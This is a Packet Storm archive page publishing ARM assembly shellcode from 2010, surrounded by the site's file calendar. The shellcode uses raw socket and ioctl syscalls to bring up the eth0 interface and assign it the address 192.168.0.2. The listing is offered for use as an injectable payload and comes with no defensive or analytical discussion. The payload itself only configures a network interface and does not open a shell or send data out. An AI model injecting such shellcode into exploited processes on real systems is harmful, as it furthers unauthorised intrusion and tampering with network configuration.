exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ARM ifconfig eth0 Shellcode

ARM ifconfig eth0 Shellcode
Posted Oct 28, 2010
Authored by Daniel Godas-Lopez

ARM shellcode that will bring up eth0 and assign it the address 192.168.0.2.

tags | shellcode
SHA-256 | 58ec29ed3d0ca3eeb8006b294e3bf14dbc87cf8f480f39d5b6e663aceb294975

ARM ifconfig eth0 Shellcode

Change Mirror Download
/*
* Title: arm-ifconfig
* Brief: Bring up eth0 and assign it the address 192.168.0.2
* Author: Daniel Godas-Lopez <gmail account dgodas>
*/

/*
soc_des = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
*/

mov %r0, $2 /* AF_INET */
mov %r1, $2 /* SOCK_DGRAM */
mov %r2, $0 /* IPPRTOTO_IP */
push {%r0, %r1, %r2}
mov %r0, $1 /* socket */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12

mov %r6, %r0 /* r6 = soc_des */

/*
ioctl(soc_des, SIOCSIFADDR, &req);
*/

.if 0 /* r0 == r6 already */
mov %r0, %r6 /* soc_des */
.endif

sub %r1, %r1, %r1
sub %r2, %r2, %r2
push { %r1, %r2 }
mov %r2, $2 /* AF_INET */
mov %r3, $0x2000000
add %r3, %r3, $0xa800
add %r3, $0xc0 /* addr = 192.168.0.2 */
push { %r2, %r3 }
sub %r2, %r2, %r2
sub %r3, %r3, %r3
push { %r1, %r2, %r3 }
mov %r3, $0x7400
add %r3, $0x0065
mov %r4, $0x3000
add %r4, $0x0068
add %r3, %r4, lsl $16 /* "eth0" */
push { %r3 }
mov %r2, %sp /* struct __kernel_ifreq */
add %sp, $32

mov %r1, $0x8900
add %r1, %r1, $0x16 /* SIOCSIFADDR */
svc 0x00900036

/*
ioctl(soc_des, SIOCGIFFLAGS, &req);
*/

mov %r0, %r6 /* soc_des */

mov %r1, $0x8900
add %r1, %r1, $0x13 /* SIOCGIFFLAGS */
svc 0x00900036

ldr %r3, [%r2, $16]
orr %r3, %r3, $1
str %r3, [%r2, $16] /* ifr_flags |= IFF_UP */

/*
ioctl(soc_des, SIOCSIFFLAGS, &req);
*/

mov %r0, %r6 /* soc_des */

mov %r1, $0x8900
add %r1, %r1, $0x14 /* SIOCSIFFLAGS */
svc 0x00900036

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    467 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close